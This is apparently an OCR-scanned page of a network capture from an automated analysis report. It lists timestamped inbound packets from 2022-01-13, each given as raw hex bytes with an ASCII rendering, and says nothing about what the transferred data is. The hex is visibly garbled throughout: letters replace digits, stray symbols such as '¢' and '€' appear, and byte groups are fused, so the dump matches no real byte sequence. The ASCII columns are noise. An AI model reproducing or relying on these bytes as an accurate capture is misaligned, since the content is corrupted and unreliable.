97 21 f2 49 4b b6 34 01 ba b3 7b 6c ed 50 cO 76 24 6e 87 70 e9 4d f3 29 48 a6 8a ba ba b5 af 38 52 de 88 ba 00 2d 26 c4
b4 4d 5d 71 9c da d6 eb a0 71 2f 62 b5 11 28
Data Ascii: *mvUeQ'M -$8*~W3J\u(DVIO-jZr<t_{?N)E<2j(KI?ZIGZ, 7}+IRWTV|t+@/8N8MXZ3+SA}"_w.!IK4{IPv$npM
)HBR-&M]qa/b(

2022-01-13 19:22:46 UTC 577 IN Data Raw: e6 f5 8a Oe 13 bc d5 a3 42 33 93 54 24 0b ba c2 6¢ 11 dd 1f 5f b0 40 dc 5c¢ 8f 50 db 14 4a c1 c0 6¢ 13 bc 9e 60
a4 46 92 3a 41 b9 al 40 3a 21 44 e2 el 72 bf 06 3d b5 b5 Oc 80 35 27 34 61 96 53 50 ca e5 89 8c dd 6a d4 98 2e 52 97
alf5 c6 8d 2f 8c 4d e0 4f 23 98 7b d1 8d fe 56 5¢ 25 8¢ eb ec de 74 61 60 8 54 72 4d a4 6f 57 03 6f 5f 2f cf 15 c6 31 4c
de 96 cc 33 ef 5b 77 4d d2 e0 91 Oa 78 ¢8 5d b9 25 14 b3 be d7 17 7c 5b 8e 06 ef 43 ed 67 54 b7 d2 ec c¢3 98 76 a9 2e c1
25 9b f4 4a 32 10 51 b9 94 15 38 e6 f9 8a f0 fe de f3 89 b2 67 58 a7 d5 07 2b 82 96 66 98 ¢8 3d cb 01 31 ba 36 07 31 28
d9 65 eb e2 c6 66 2c el 9e 64 d5 02 f6 04 5 82 3a 2¢ 37 76 b2 31 27 3b d2 85 ce 3a da 84 55 df df 63 b7 6e c2 20 f9 2d
38 9c 6a f6 al 89 db 05 33 2d 3d f5 ¢5 56 fd c9 67 49
Data Ascii: B3T$l_@\PJI'F:A@:!Dr=5'4aSPj.R/IMO#{V\%ta TrMoWo_/1L3[wMx]%|[CgTv.%J2Q8gX+f=161(ef,d:,7v1;:Ucn -
8j3-=Vgl

2022-01-13 19:22:46 UTC 578 IN Data Raw: fa 8e 1d Oe a4 16 3a 4d d1 f2 dc 30 ae 57 7b 94 46 ac 8d f8 31 00 e2 fe 2c 1f Oa bf 5d 64 64 42 3e d7 dd 49 40
7575 ec d9 0d ee aa 27 eb 7f 27 80 40 47 2f 99 ff 30 d3 Oe 94 74 ef 7c 74 8a 9c 45 28 a0 13 4a b5 cf 06 ef ca dd db 15 da
97 eb 91 40 f5 19 €7 54 36 7b 2b 87 c0 71 b4 2d 8e 67 13 6a 5a 16 27 fe 86 d8 42 45 9f 88 57 70 ad 75 ca a0 06 17 c7 dd
ab 60 f0 Oa f5 fd 8d b5 fa 9c 3e 49 eb 2c €3 Ob d1 70 a9 94 07 65 13 c0 db 16 c5 e4 bb 53 56 8 04 aa 4f 83 23 fd d9 19 ca
€9 28 02 a4 05 79 47 5¢ 5 6f 8b ¢9 78 b4 21 91 eb af a5 87 d8 21 b7 dd ff 11 bb f3 e5 28 be df 42 ce 58 96 10 1a 1d 26 9b
6e a5 5a eb 45 cd 43 52 €3 1c 67 08 b9 9b dc e6 21 48 65 1d 8 53 53 e2 21 b0 Oe 17 dO dc cc 48 ed 73 ea 76 e2 23 3e
45 03 5b d2 f9 5¢ 1b 80 fc 6f b4 d7 7f 6f fa 36
Data Ascii: :MOW{F1,]ddB>I@uu"@G/Ot|tE(J@T6{+q-gjZ'BEWpu>I,peSVO#(yG\ox!!(BX&nZECRg!HeSS!Hsv#>E[\006

2022-01-13 19:22:46 UTC 580 IN Data Raw: b0 2a d5 cc ee b5 ba 50 2a 11 1e b2 30 Oa e9 24 dd 32 ee 9d 76 8¢ 57 fc 99 2a 10 5a ec 22 f3 c0 17 ec ad 47
82 b5 8e b2 78 95 52 9c 09 97 9¢ 08 59 38 24 ac e7 2c 13 8f 9 8f dc 77 07 cf 48 ¢7 fd 0d 17 d9 01 23 32 23 fd 7f 54 68 b7
6f 4c ea 09 2e 86 9e 96 96 62 28 bc de 18 87 ca Oe 99 36 02 af a8 8d 83 c7 be 02 al 9d e3 09 af fe 5d a5 b2 34 88 ba ba
€0 44 6¢ bf ef 40 23 57 7b c3 4a 4b 52 db d3 aa ee ba d5 78 19 64 84 9c c¢3 5b 78 5d 79 a4 5c ed al 4b 44 16 80 16 73 8e
b9 e7 6a 83 03 19 c3 c5 ed 3c 84 ff da 22 26 6¢ 3b 85 47 7d ec 7e a2 0f 95 eb c4 ee b0 b3 79 ec a2 08 b0 98 a0 Ob 66 58
6b 32 d5 36 39 39 4e d8 25 46 cd al a8 03 b8 4b 5e 6d 52 d4 51 d4 ea 01 34 6b 64 24 88 46 dd 1d 7b b6 44 97 99 e4 97
60 74 a3 8b c4 7e 5e 80 53 81 5f ce 87 45 {8 32 Oe 98 dO
Data Ascii: *P*0$2vW*Z"GxRY8%,wH#2#ThoL.b(6]4DI@#W{IKRxd[X]y\KDsj<"&I;G}~yfXk2699N%FK " mRQ4kd$F{D t~"
S_E2
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:46 UTC 581 IN Data Raw: 43 50 30 af 6e 26 bc 20 c1 fc bd 8f 03 ee 05 85 72 14 94 d1 b7 0f 39 41 53 9b 1c bb a0 ed da 66 55 dd d5 cb d4
1f 05 fa e9 fd 63 ee 47 8 93 54 28 af 5b 9d 67 d6 3e e6 4d e6 49 ab 7c 04 91 08 5e 13 64 47 ab 9d 37 17 69 f3 03 cd 58
08 5f 91 55 bb aa 07 d9 f8 a0 el c5 b6 Oe f6 a6 f8 a2 d7 bf 78 05 81 7e 4f 83 23 d9 bb ad 4c 7f 0a 53 69 fa bc 7a 0d 10 fe
5c 1f 59 d9 ea 7b 80 5e 44 d8 29 32 d9 ed 2c ed d7 e6 4e 19 68 94 82 f7 23 05 ec 5¢ ea 40 d2 1f 0d 18 e6 b8 d9 bb fd 3c
b8 e7 79 5a 3b 2c eb b5 20 93 e0 89 c2 d4 be dd b3 fc 2e 87 0a 14 db 18 c3 el 13 72 14 6¢ 99 f8 92 ae 22 71 b2 28 e7 89
35 fe ec b7 bc 36 0 36 5d 61 b6 22 69 ff 4d 96 6d 2c €9 98 9e 7d ad 13 d3 00 7e cd 12 88 f9 ac 2b 92 78 af d7 cd 8a 5f 04
66 63 1le 76 ad a7 8f €9 09 3f 98 ab a5 83 a3 5d
Data Ascii: CPOn& r9ASfUcGT([g>MI|N"dG7iX_Ux~O#LSiz\Y{"D)2,Nh#\@<yZ;, .rI"q(566]a"iMm,}~+x_fcv?]

2022-01-13 19:22:46 UTC 582 IN Data Raw: d2 24 0d 54 98 7d 5c ef c6 c8 e0 82 ab 6e 80 d6 60 ea 18 81 9f e7 bf 37 de 06 01 22 12 ee 52 a6 bd fe 58 81 8¢
5a bf 51 58 c0 48 2c 1a c5 64 c6 Oe 92 59 Ob 48 3a 44 ad bb f0 ab ¢3 2a 71 80 1f 90 c2 6e 84 0d aa 31 14 3f b7 b4 91 1f fO
31 a0 5b df ac 27 58 93 ff 48 ad 1d e4 13 15 d7 db e7 2e 8¢ 5¢ a7 98 al 37 b2 65 1b bd 4a 8f 5a 09 40 76 c1 b8 f3 8f 8a 08
16 ec c1 06 al 62 9f 93 51 13 d4 1d 95 e0 61 53 16 f8 39 47 e3 f7 c1 f4 ae 34 1b 10 7e 5c 15 ca ad 23 88 8b a9 25 f9 d5
9c 02 2b d2 f1 fO a3 8¢ 4a 7b 2b d4 ab b8 dc 66 93 b3 9d 9c 77 95 3c 28 72 34 ff df 17 1e 09 30 0a Oe 99 3 cO Oc 11 64 83
23 c0 9e fc fb ab a2 4f 28 9e eb 26 04 cf 63 94 05 3d b6 97 44 27 1e 00 19 2f 4b 47 27 e2 07 53 5d 67 95 1e 60 87 d7 e7
56 f8 4e 67 c9 15 c8 3b el bf 46 8a 09 69 bc
Data Ascii: $T)\n 7"RXZQXH,dYH:D*qn1?1['XH.\7eJZ@vbQaS9G4~\#%+J{+fw<(r40d#O(&c=D'/KG'S]g VNg;Fi

2022-01-13 19:22:46 UTC 584 IN Data Raw: 5d d8 fb de c8 43 82 00 69 80 39 d3 89 ea f9 89 7d 5a 81 92 28 93 cd 32 d7 ad 99 86 45 38 8f e3 ff dc ca ed 31
97 94 01 78 f1 3c 29 99 e4 5e f4 df af Oa be de 81 b1 d2 3f 56 7a a6 12 5f 7a aa 66 ef 21 e2 67 2f dd 19 c4 c1 4a a6 b4 a9
Ob c9 63 0f b0 62 10 d4 54 e8 a0 Ob d2 4e bd 53 50 4e 59 15 9e 01 be 7b a0 19 d2 f7 ab e4 al ca db le 76 ca 93 4d f2 d6
8b d1 66 e7 77 25 01 24 64 99 62 69 89 dd 07 22 cf a4 9c b5 6a dd 7e Ob 37 e4 d5 da 32 ed ab a6 04 b1 57 83 02 ea a6
b4 3 35 31 90 66 9d fc 5f 14 32 04 bc 26 al 8e 12 el 84 ed 2b 95 f5 ac 58 €8 f4 3d ac 2d 29 31 22 e0 92 63 16 ba 11 c3
2e 1793 9a 7d 21 59 c0 7a a6 06 b3 d0 e9 95 8b dO f1 a3 e6 3c bc ¢4 b0 2d 85 d9 c8 ff dd 03 54 70 48 27 ed 36 11 a8 b0
c5 c6 ad ae 3f aa 35 8e f9 aa 86 30 0d 1a 76 bf 58 7a
Data Ascii: ]Ci9}Z(2E81x<)"?Vz_zflg/JcbTNSPNY{vMfw%$dbi"j~72W51f_2&+X=-)1"c.}'Yz<-TpH'6?50vXz

2022-01-13 19:22:46 UTC 585 IN Data Raw: 48 c4 8c b7 bf 48 af 05 73 2a 1a be 1a 78 b3 5e 20 0f 9a 26 27 b1 71 d9 0d 63 dc 5 ee e2 30 9d 23 17 1a fe 3b
4a c6 2e 11 a5 f4 20 30 50 3c 8f 80 96 24 69 7f 1c d2 e7 73 28 5e e5 {7 23 el 4b 57 9f 82 9f 6d 15 9e 18 12 5¢c 3c 91 el
57 71 39 bf 86 be 19 c7 7d 3f b5 a3 89 42 d0 22 3e 36 70 b2 9b 9c 18 52 4a 8f 9c 49 Ob bf 5a 26 42 37 af 02 4c 77 48 dd
0d 9e 29 fc 71 5b 21 f4 Oa al e2 3e Ob 6a 5f ed 5b 62 93 ab Oe 00 ca f1 1c f1 3c 3e 70 45 39 b6 40 99 f6 45 2f de 99 ad a9
f9 89 c7 af 37 a8 0d 6¢ b6 83 01 cb 87 €9 60 7d al e6 6b 6f 43 b5 00 a6 16 44 ab 82 01 cc 96 d2 a3 eb 20 4f f4 57 70 c7
2c 13 8b ca 89 97 ec 2a a2 0f d4 53 74 1a b9 bf f4 69 50 88 fb 3c 51 28 5a ed 36 7c b8 3c 34 a0 d7 7a Oc 9f d0 8a c1 2e f4
02 ad 0f 72 af ca 95 fb 04 c2 ce ec 51 9c 62 34
Data Ascii: HHs*x" &'qc0#;J. OP<$is("#KWm\<Wq9}?B">6pRJIZ&B7LwH)q[!>]_[b<>pEI@E/7I }koCD OWp,*StiP<Q(Z6|
<4z.rQb4

2022-01-13 19:22:46 UTC 586 IN Data Raw: f9 dd 1a b8 b0 33 9a 94 b2 30 70 09 9b 11 bb 49 4e bc 8b a5 8f 5e 5b 77 23 43 7f b8 ce 2a 56 01 54 73 b9 b6
36 0c 51 20 f4 fd d7 95 46 d3 dc 34 ec be c5 5a fd 13 d0 f1 26 ee 0f 43 a2 0f c1 16 44 42 31 f2 3c 3c 35 0f 6f 90 69 1b e0
e7 b4 eb 9b 99 fe 54 a3 92 10 5b 77 25 a9 dc el b3 09 5b 72 fe 72 ad ae 8d c2 60 2a f9 76 95 b5 d3 33 24 08 ac 0d 55 66
88 35 c8 fb 83 d0 8c 15 ce 69 bb 4a d0 41 79 47 e3 3e 38 21 56 a4 08 58 17 bc cc b7 ca a2 e4 db 14 97 52 c2 cb cb 0f b9
2c 4f 59 23 ff a3 ¢7 7b 75 8c 5e €0 21 24 19 40 da 89 d4 48 43 b7 a6 8e 2f 8d 0d e9 78 dd 40 3b f2 5¢ e3 ea 23 ee b9 7
09 31 fb 7f 27 4c be cb 73 55 11 a0 0a 08 25 f8 43 53 9f e3 b4 74 ba 7f ec f2 31 db 07 79 27 {7 b3 3d b2 3b 05 eb 3d d7 ae
b6 ea db 13 c0 af dO 9e 1c 33 3f a7 95 11 18 3b 57
Data Ascii: 30pINA[W#C*VTs6Q F4Z&CDB1<<50iT[w%[rr *v3$Uf5iJAyG>8IVXR,0YHuN$S@HC/x@;\#1'LsU%CSt1y'=;
=3?2;W

2022-01-13 19:22:46 UTC 588 IN Data Raw: f4 41 b9 48 df 0f 39 b4 25 41 60 9b 4a 10 29 31 93 e8 a6 11 64 3c 03 28 14 42 92 fd 1c 65 Ob cb Of ba de a2 02
a4 Oc af 6a e8 1f 30 71 cf 46 dc 88 4e 4f cf 82 43 b6 37 c4 79 8a c9 6d 12 5b Oe e7 b1 fO b8 37 a0 75 51 50 9c c6 c0 c7 8e
ac 4a 63 b3 el 0a a8 00 4b 97 8d 59 be d6 9b fO d3 66 de 9f 81 c6 4e 48 85 ce f9 c6 72 06 ee bd 57 7f aa 52 bc 60 14 e0
0a 09 43 ac 28 Oe 27 82 38 27 3a 15 c5 5¢ 84 ec d8 81 a3 3c 45 e0 24 4d 58 e6 b6 49 d4 12 41 de €9 51 fd 94 6e 3c 60
e6 a2 40 cc eb 38 9a b4 c8 4c 1a 3b d2 5e 14 05 3e 26 7a ¢6 bb 57 ¢7 65 1c 7e 5¢ 3d cc a7 ¢9 f1 01 72 76 05 c3 08 a5 87
d4 bb f6 36 5a ea 00 Oc 64 89 cb 7e db a6 f0 b9 34 75 57 c6 40 e4 aa 32 1d 88 34 65 7e ae 73 0f d6 86 f0 24 3c 30 1f f9 3f
7e 46 2d 44 ca 91 84 36 1a 78 a9 82 58 57 ad db 52
Data Ascii: AH9%A " J)1d<(BejogFNOC7ym[7uQPJcKYfNHIWR C('8:\<ESMXIAQN< @8L;*>&z\We~\=rv6Zd~4
uW@24e~s$<0?~F-D6XxXWR

2022-01-13 19:22:46 UTC 589 IN Data Raw: 4a ae 30 Oe fc 9d e6 4d b2 75 50 ca f8 1a 08 02 5f 09 3c 48 37 e0 99 fd d7 b0 92 08 bf 03 4b 1e db 68 97 f2 24
6b ad 2a 07 2d 67 c0 b6 6d 24 77 2d 97 66 15 fc 44 36 Ob b5 c7 78 c2 c6 dd 17 7b 35 3e 8¢ 42 43 2e 67 26 Oe el fe 4c 84
€7 77 2c 09 a0 b6 5d 1d 90 ce aa 30 c8 Oe 90 62 94 64 8¢ 47 5f 63 cb 87 e6 d5 7a bf 4c 42 7c 95 51 03 04 1e 3a 0a 15 9a
45 e5 6e bd 52 92 5a f7 ¢6 31 4d 30 al 4d 33 79 2f 88 49 5a 47 08 bd af ef 50 a3 7d ff d4 ef 3f 14 2e 66 fe 03 34 b3 52 cf
le 33 ee d5 0a ac 9a 55 6¢ 97 4c 18 38 ¢3 Oc 40 56 5c 61 60 f4 44 ac ad de 78 e8 d3 Ob 30 33 89 dd Oa 5f f9 bd c9 1c 85
03 35 93 fe ee 22 4a d2 e3 10 Oa 4e 76 c5 24 2f 8¢ 3¢ 60 e7 b9 5 dc f6 €0 75 0a b8 22 77 48 a3 e9 be 78 a3 f6 34 7e d2
52 91 ec 77 92 67 05 de 30 1d e9 36 27 3 03 c0 07
Data Ascii: JOMuP_<H7Kh$k*-gm$w-fD6x{5>BC.g&Lw,]J0bdG_czLB|Q:EnRZ1IMOM3y/IZGP}?.f4R3UIL8@V\a'Dx03_5"IN
V$/< u"wHx4~Rwg06'

2022-01-13 19:22:46 UTC 590 IN Data Raw: 36 db e6 2a 0d ca e8 fe 42 6b 1a a9 22 cd 36 19 9b ec fa cb 99 40 31 be df Oe 5a 43 09 18 5e f1 33 f7 62 27 a8
0a b3 al f2 2e 16 fc 70 be c1 ¢5 cO fd cb 79 3e 50 c3 ae 26 64 97 21 ab b9 50 c¢5 17 88 1b 07 66 16 fd 36 39 ae 3d be d8
b3 93 ec ba 66 1e 53 40 39 a9 7d el aa 49 29 54 ee a3 81 ce €3 16 09 47 00 b2 7e 5f b9 af 8a 4d 58 ec a9 48 e9 38 26 05
e3 d8 3a e6 dc fc c2 74 9f 86 5f 76 ca e7 03 21 ec b0 86 f4 fd e4 b6 2e 1e 8b 1f fb bc dc 6b 1f €9 33 39 1a 6f 15 da 99 88
5e 27 f2 44 27 14 9e 6b f5 7f d3 73 5b €3 b2 2e Ob ¢3 55 09 9c¢ bf 77 2d 87 c2 bc d0 5d 6d 08 bb €5 86 bc 7 df Ob ¢5 b5 6f
15 aa 21 62 8f 6 bf 0a ac 73 56 79 ae 17 dc 84 41 d3 12 57 Oa 84 45 48 57 95 9f da 8a d5 77 22 72 4b 8e 01 29 5e 87 70
12 6e 8c 55 61 23 86 59 39 ae 35 94 c2 46 2f ad
Data Ascii: 6*BK"6@1ZC"3b'.py>P&d!Pf69=fS@9}) TG~_MXH8&:t_v!.k390"'D'ks[.Uw-]mo!bsVYyAWEHWwW"rK)*pnUa#
Y95F/

2022-01-13 19:22:46 UTC 592 IN Data Raw: 47 50 db Oc 57 ¢7 71 20 71 21 b2 44 5f 9a €9 48 c4 da 9c 6¢ 35 3f a7 83 da 97 86 47 4e d1 75 30 fd 1c 19 91
bc 9b 08 14 18 57 38 3d e4 99 8¢ ed 4c cc be fe 58 f0 57 a4 08 c¢7 d5 bb 28 7b 3c 61 81 db 0a 57 bd 22 c7 a9 de e9 80 3d
09 8f ee d1 Oe 56 da cO 9f 4e d2 f7 d6 9f c7 c7 45 0f 13 70 d1 b8 61 86 25 3d 9a 08 1b €5 97 e4 e5 3a 31 9b 91 a7 2f 37 4f
84 1d fO c1 46 ac 38 22 7d c5 60 a7 87 de 80 41 4b 8d 87 47 e2 36 0f c4 d4 9f 51 e0 93 f7 d7 17 da 13 3b b2 a3 73 2b 12
a6 13 07 d4 22 cd 7d 2f 82 Oe eb a3 3c 2f 8d f2 59 5a ff c3 49 eb 76 dd 56 eb 75 d5 d9 e2 05 3d be cb 08 c6 cf ed b5 bl
ba 67 b2 56 bc c2 40 c5 40 49 da ea 63 62 d0 fa 09 26 3d a2 10 51 2d c4 d9 4b 40 7e ac 5¢ 59 ¢4 77 30 Oc 47 3f fa 4b 24
6e f3 f5 ¢5 5¢ 03 f4 10 f9 Oa e7 26 29 2f a7 d6 43 2c
Data Ascii: GPW(q q!D_HI5?GNu0OW8=LXW({<aW"=VNEpa%=:1/70F8"} AKG6Q;s+"}</YZIVWu=gV@ @Ich&=Q-
K@~\YW0G?K$n\&)/C,
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:46 UTC 596 IN Data Raw: 00 4e b9 d9 99 ef d9 f9 d2 30 10 52 bb 64 85 d2 54 6a d0 91 20 89 c6 Oe 22 ff 0d ae 88 01 50 a5 56 3e 59 58 f5
95 3a ae 4c 42 dc d8 44 dd f8 17 2f 79 42 d6 4d 5c 6e 5b 65 24 ¢3 79 d2 39 3d 76 b6 30 d6 33 7e 3b 52 2e 12 Oa f6 65 a3
53 ce 2c ODa e2 cc 49 33 75 88 1f a5 19 74 6e d0 73 75 Oa fa Oa da 95 5¢ b2 ea 30 2c fe 8c 89 b5 d5 c6 bc 76 6¢ 6e d8 b5
c2 7e 5¢ ba fc ca 23 21 12 b2 f4 75 8f {6 fc 6¢ 3¢ 89 37 04 17 98 aa 27 b2 24 b6 6a de b7 8d e2 79 5b a2 aa ed 88 84 a3
a5 58 f7 65 13 b3 a7 95 6e 76 19 95 ff Of f1 79 3a €8 d8 cO 70 47 2e 85 b2 6a 77 37 18 48 59 09 ea 07 30 6f 3f 96 4a 8f e9
0d 8f f5 3d 32 al 5b 83 91 9e 6a aa 6e 88 52 33 79 aa 35 32 85 06 ee c7 d3 31 f5 05 8d f9 ff 35 59 b9 22 73 4b 09 47 33
ec 53 31 fd 5a 8e a5 02 48 d8 1b eb a2 c6 1d d3 9f
Data Ascii: NORdT]j "PV>YX:LBD/yBM\n[e$y9=v03~;R.eS,3utnsu\0,vin~\#!ul<7'$jy[Xenvy:pG.jw7HY00?J=2[jnR3y5215Y"s
KG3S1ZH

2022-01-13 19:22:46 UTC 600 IN Data Raw: ce ec bf 5a 82 33 9¢c 0b 03 3f a6 b5 59 63 6a 30 be cb 7c b3 bc b0 58 €3 d5 69 1d fd 65 c2 2a b5 7b 92 dc 9d cf
1c c9 ba 85 be a8 69 19 60 36 03 27 51 87 a4 c2 d2 f7 d6 9f c9 fd el 5b bf fc 92 2e 66 26 fc 3b a4 5b 11 b0 5b 6a d2 2a 02
ad 15 0f a9 11 02 fc c7 4a 9b 3a 72 39 54 27 8b 78 b1 5f 65 60 e3 1e 69 70 5e 3e 79 3d aa 2a le 12 el 8c 54 e6 a9 95 97
2089 c1 4b 46 dc 90 34 b1 06 bd 5b 66 94 69 13 f3 d3 67 a6 58 97 be ba 67 a2 13 dd 1a 75 56 8d e2 de 53 57 69 f0 03
316 e4 3a 25 e9 29 92 09 58 fe d4 ea b2 35 77 ef b7 50 02 3d 43 b9 01 5a 40 fc 10 2b fe 26 69 Oa 67 0a b0 95 33 {3 12
41 ab a0 0ae2 31 a9 cd b0 c4 18 19 ae c7 97 91 3 98 11 ac 51 4f 65 c3 52 d8 6b dd 61 ff 1a 3d 39 90 2b 56 cd d3 7c 17
b2 aa 21 40 3b d8 15 6f 79 50 b6 6f d7 ef 30 18 41 b6
Data Ascii: Z3?Ycjo|Xie*{i'6'Q[.f&;[[*J:r9T'x_e'ip">y=*T KF4[figXguVSWil:%)X5wP=CZ@+&ig3A1QOeRka=9+
V|!@;0yPo0A

2022-01-13 19:22:46 UTC 601 IN Data Raw: 6d €9 26 2a 84 d1 ce ec a4 19 d5 01 3e 16 72 a2 0d 54 0b d3 6b 69 b8 a4 19 dc 92 79 56 93 ff ee 6¢ 9f 88 ef f1
40 8f ca ab f0 5c ae 43 f1 78 cd 2c la cf c9 7f c3 43 ab d2 ab al fd b7 a3 88 f9 ce 40 eb 4e 33 92 26 9a €9 91 93 45 a6 6b
79 98 ea 3d ab a5 8f 95 69 bl c8 e3 04 bd 29 62 22 96 76 b1 ae 43 08 7c c5 39 f4 59 99 e6 a8 09 cb a4 78 5f b5 e7 48 ae
6¢ 92 20 b9 5d 69 ad 62 fd 2b 8a €8 29 9f 86 5a f5 da e4 11 76 al 84 42 90 bd 0d 84 13 71 1e 3b 67 55 38 ff c2 c7 73 29
ce 63 25 bf 91 b6 64 73 €9 7a 1f c6 87 1a 25 db a5 cf 08 18 42 8e 79 11 cf 68 96 1b a4 45 3d 76 b2 f3 c6 0d 1b fd df f5 46
a7 6aa2 40 c2 bl 13 be 13 7a a2 76 3b 71 4c bb 48 c0 18 e5 e2 ee b4 d7 15 08 00 72 de 93 09 37 eb d0 04 6¢ 95 51 90
7f da 06 88 ec 73 4e 16 b6 24 c9 7d 6d 14 95 11 db
Data Ascii: m&*>rTkiyVI@\Cx,C@N3&Eky=i)b"vC|9Yx_HI Jib+)ZvBq;gU8s)c%dsz%ByhE=vFj@zv;qLHr7IQsN$}m

2022-01-13 19:22:46 UTC 605 IN Data Raw: 44 6¢ 8f fa 5¢ 19 07 d8 2b 62 ba bf fb 1e 79 4d 54 d6 56 f9 c2 7c 96 c6 01 51 be 6 39 1c a7 8b c5 50 4a ae fe f3
27 9b 84 31 83 3f 7f ce fe ee 73 4d 1d a5 4e da 96 6b 16 1f 79 11 90 a2 1e db fd a8 a2 91 6a Ob 33 4b ¢8 16 9c 63 a8 11
7d 3a 71 4e 47 04 cd Ob 31 48 83 99 ec e7 55 f1 d3 b7 df 78 73 ce ea da fa 3e 50 la df 1b 55 d6 f3 cc 2b 6¢ ba 98 6b 55
64 53 €3 34 51 44 69 14 9f 30 23 ac 2d dc 8b 12 3 f5 89 d8 cb 6¢ 48 25 d3 84 56 b4 2d 41 5b 53 16 56 a6 12 0a 2e el 11
64 60 2f 3b 11 11 5e 40 e2 3b 4c 07 a7 27 29 16 ee 76 34 f2 89 46 21 cd 26 d8 6b 3a 85 26 5f 71 e8 Oa af a0 86 8a 1c 70
6 3d 31 f8 d3 06 d9 ce 1d 43 b1 16 ba 6e 0f 22 d6 14 b9 d9 98 96 df bf al 16 fd 66 25 6d f6 8a 1d 4c 69 d4 50 6d c4 d8 03
8a 4b 49 ec ea c4 9f 8¢ 17 d1 d4 42 60 bc aa 3f
Data Ascii: DI\+byMTV|Q9PJ'1?sMNkyj3Kc}:gNG1HUxs>PU+IkUdS4QDi0#-IH%V-A[SV.d /;,"@;L")\v4F!&k:&_qp=1Cn"
f%mLIPmMKIB?

2022-01-13 19:22:46 UTC 609 IN Data Raw: a0 01 3e 4e 8f 76 3e 3f a3 90 74 ad 3 8b db 1c 36 02 a7 86 50 71 82 23 €1 06 b2 63 07 5b ae c6 bf 4d 54 €8
bl ad 16 cd 74 b0 7d d8 2c 69 c7 25 f0O dd c5 e7 f8 5e e2 77 ba c1 4b d1 ce 3d e6 d9 68 88 7d f7 d1 6a ca e7 7f c9 c5 c9
60 ee a7 9a 17 90 78 dd 8b c7 7c 24 ed 30 1c 73 27 8f 04 03 44 39 b6 2a 6¢ 8f 10 9c Oc 4c 77 89 b3 b7 bl al 36 db b7 d6
8b 66 14 5e f7 9b e7 bc a4 d8 53 e8 b2 53 54 fc 5b 36 72 39 4f 27 fe 4b 5b 1e 76 fb 03 20 6e 06 21 8f ee a2 13 al 2a 45
2e 74 bd fb 4e df 19 6d c1 25 65 02 03 f1 46 7e 59 7d 2d 89 5e 24 37 07 2e 02 b5 df b3 5d 16 48 da 99 6f aa 50 d3 74 bc
61 9b 9b ff dd 04 fb 44 8b ad aa 28 Oe e0 71 51 49 49 49 da 33 fb db 02 b0 53 8b 3c 5f 68 9e 09 20 6b be 5a e8 a6 bb fa
2e 6828 9d e6 a9 8b c8 89 8c 42 f6 4e d9 1d 04 7c cd 85
Data Ascii: >Nv>?t6Pg#c[MTt},i%"wK=h}j x|$0s'D*ILw6f*SST[6r90'K[v n!*E.tNm%eF~Y}-"$7.JHoPtaD(qQIII3S<_h kZ.h(
BN|

2022-01-13 19:22:46 UTC 613 IN Data Raw: 43 2d 3e 34 08 1d c3 b9 8d 04 5e da e4 14 77 25 f5 dd 83 7e cd 3e c1 3e 37 5a 69 01 28 7b 7d 2f c6 d6 eb 49
4b 68 06 b7 b5 fd 37 3c b8 d8 8e 77 32 4c da fO 11 76 c8 24 9e €9 20 61 6d 07 26 a4 b3 ab a6 bl 2f 2c 17 d7 11 9a 76 cd
6e 7a le 6¢ 99 1a 88 e5 3e 22 63 6f 7b 24 94 86 5¢ ed ad 81 79 ea 22 96 5¢ 93 5b ¢4 db 0d d9 59 95 57 26 c0 95 fc 1b e3
69 68 84 aa ad bb 59 27 31 b5 8a 2b cb 66 c4 db 66 €9 8e de e6 bf 11 4d 5b 72 €9 e3 fa b7 9f db 05 67 13 b3 d1 dc 36 63
03 6d e7 20 75 c8 3b 46 7a 5a ec 1c 96 fe 16 b6 8d 05 29 8e 3d 18 el ad d1 6b 4d d3 d4 43 d1 6f 46 3b 47 fb a7 95 aa df
4 f2 2e 09 70 59 84 ab c5 55 24 03 9b 4a a4 09 66 e4 1c de f5 c0 9a 07 98 aa 7d 4f 14 09 f3 cO d4 e5 2e 4c 45 67 53 9d
cd 29 08 63 43 2b a2 43 73 28 e9 be 73 f7 95 8e 2a 28 71
Data Ascii: C->4"W%~>>7Zi({}/IKh7<w2Lv$ am&/,vnzI>"co{$\y"\[YW&ihY'1+ffM[rg6cm u;FzZ)=kMCoF;G.pYU$Jf
JO.LEgS)cC+Cs(s*(q

2022-01-13 19:22:46 UTC 618 IN Data Raw: b6 de 07 4e 90 71 1f 7e b0 23 ab ba eb da 98 6b b6 37 4c 17 al 92 7d 24 30 b1 d0 fd 9c 06 13 3a €9 4c a9 9a
d1dl72a37262e7c9adfdab 0f 2e 73 b0 77 3b d9 71 41 bb 58 fd d7 02 ce eb ae 97 fc 5f ca 27 95 ef f5 54 56 94 c4 92
0a 01 f9 fd c6 8a dc 8a 55 f5 5¢ f7 ¢7 7d 25 6d 77 39 dd c8 86 €9 62 38 14 14 34 09 f3 c1 46 db 16 10 34 d4 9b f1 37 a4 56
76 de 22 9d 68 4b 08 8f 41 af ad a6 be 73 34 89 8a 3f 25 1a 65 6e 97 fa 2d d6 e4 a6 7c 00 ba c2 72 3a 3f da 98 66 27 21
da 9c 58 f1 96 9b d5 02 3e 3d 4d 3b be 2e bl b5 b2 a4 a2 7d 69 18 16 34 70 43 78 bc a6 b2 fa 31 ff d6 99 f1 e7 46 da 8¢
bd 8c a0 54 ae fc 5f 77 31 8e 30 bc ef 6f d0 5a f3 72 c4 61 88 71 55 c4 de 21 f7 97 8b c6 da ee 44 34 4c d7 01 2f 8f 4¢c 76
3b b3 aa 2d 02 70 ce 91 79 7d 39 08 f1 38 6e 0d
Data Ascii: Ng~#k7L}$0:Lrrb.sw;qAX_TVU\J%mw9b84F47Vv"hKAs4?%en-|r:?f1X>=M;.}i4pCx1FT_w100ZraqU!D4L/Lv;-
py}98n

2022-01-13 19:22:46 UTC 622 IN Data Raw: 5e 04 bc 67 d3 1f 54 65 02 aa 2e 50 37 27 99 40 4e d5 7f c2 b4 49 ec €9 41 73 24 76 b3 ac 6 53 43 af ab 7b
3395 €9 29 29 38 20 al 39 ac 29 91 f5 da 53 ¢9 61 15 cc 22 c6 d3 2b 95 18 52 4b 20 7a 55 79 7f b5 76 34 07 4b 4d 55 de
9315 cf 91 e5 5b 3e 79 dd 07 52 92 32 f7 ¢9 10 17 91 0a b2 44 75 70 4f 51 3c 77 66 35 97 94 22 23 47 58 80 00 6 a2 12
